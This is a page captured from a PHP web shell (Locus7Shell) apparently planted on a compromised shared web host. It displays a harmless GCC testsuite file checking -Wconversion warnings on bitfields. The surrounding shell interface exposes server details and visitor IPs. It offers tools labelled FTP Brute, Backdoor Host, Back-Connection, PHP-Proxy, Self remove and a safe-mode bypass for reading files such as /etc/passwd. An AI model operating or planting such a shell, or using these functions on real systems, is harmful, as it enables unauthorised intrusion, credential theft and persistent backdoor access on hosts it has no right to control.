Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr35635.C (3.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR 35635 */
/* { dg-do compile } */
/* { dg-options "-Wconversion -Wsign-conversion" } */

struct unsigned_bit {
  unsigned int x:1;
} unsigned_bit;
struct signed_bit {
  int x:1;
} signed_bit;
int bar;
int bar2;

void func1()
{
  /* The result of boolean operators fits in unsiged int:1, thus do
     not warn.  */
  unsigned_bit.x = (bar != 0); /* { dg-bogus "conversion" } */
  unsigned_bit.x = (bar == 0); /* { dg-bogus "conversion" } */
  unsigned_bit.x = (bar <= 0); /* { dg-bogus "conversion" } */
  unsigned_bit.x = (bar >= 0); /* { dg-bogus "conversion" } */
  unsigned_bit.x = (bar < 0);  /* { dg-bogus "conversion" } */
  unsigned_bit.x = (bar > 0);  /* { dg-bogus "conversion" } */
  unsigned_bit.x = !bar;       /* { dg-bogus "conversion" } */
  unsigned_bit.x = (bar || bar2); /* { dg-bogus "conversion" } */
  unsigned_bit.x = (bar && bar2); /* { dg-bogus "conversion" } */

  /* Both branches of ? fit in the destination, thus do not warn.  */
  unsigned_bit.x = bar != 0 ? 1 : 0; /* { dg-bogus "conversion" } */
  unsigned_bit.x = bar != 0 ? 1.0 : 0.0;  /* { dg-bogus "conversion" } */

  /* At least one branch of ? does not fit in the destination, thus
     warn.  */
  unsigned_bit.x = bar != 0 ? 2 : 0; /* { dg-warning "conversion" } */
  unsigned_bit.x = bar != 0 ? 0 : -1; /* { dg-warning "conver" } */
}

void func2()
{
  signed char schar_x;

  /* Both branches of ? fit in the destination, thus do not warn.  */
  schar_x = bar != 0 ? 1 : 0; /* { dg-bogus "conversion" } */
  schar_x = bar != 0 ? 2.0 : 10; /* { dg-bogus "conversion" } */

  /* At least one branch of ? does not fit in the destination, thus
     warn.  */
  schar_x = bar != 0 ? 2.1 : 10; /* { dg-warning "conversion" } */
  schar_x = bar != 0 ? (signed char) 1024: -1024; /* { dg-warning "conversion" } */
}



void func3()
{
  unsigned char uchar_x;

  /* Both branches of ? fit in the destination, thus do not warn.  */
  uchar_x = bar != 0 ? 1 : 0;
  uchar_x = bar != 0 ? 2.0 : 10;

  /* At least one branch of ? does not fit in the destination, thus
     warn.  */
  uchar_x = bar != 0 ? 2.1 : 10; /* { dg-warning "conversion" } */
  uchar_x = bar != 0
    ? (unsigned char) 1024 /* { dg-warning "unsigned conversion from .int. to .unsigned char. changes the value of .-1." } */
    : -1;
}

void func4()
{
  signed_bit.x = -1; /* { dg-bogus "conversion" } */
  signed_bit.x = bar != 0 ? -1.0 : 0.0;  /* { dg-bogus "conversion" } */
  signed_bit.x = bar != 0 ? -1 : 0; /* { dg-bogus "conversion" } */
  
  signed_bit.x = 1;          /* { dg-warning "conversion" } */
  signed_bit.x = (bar != 0); /* { dg-warning "conversion" } */
  signed_bit.x = (bar == 0); /* { dg-warning "conversion" } */
  signed_bit.x = (bar <= 0); /* { dg-warning "conversion" } */
  signed_bit.x = (bar >= 0); /* { dg-warning "conversion" } */
  signed_bit.x = (bar < 0);  /* { dg-warning "conversion" } */
  signed_bit.x = (bar > 0);  /* { dg-warning "conversion" } */
  signed_bit.x = !bar;       /* { dg-warning "conversion" } */
  signed_bit.x = (bar || bar2); /* { dg-warning "conversion" } */
  signed_bit.x = (bar && bar2); /* { dg-warning "conversion" } */
  signed_bit.x = bar != 0 ? 1 : 0; /* { dg-warning "conversion" } */
  signed_bit.x = bar != 0 ? 2 : 0; /* { dg-warning "conversion" } */
}


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--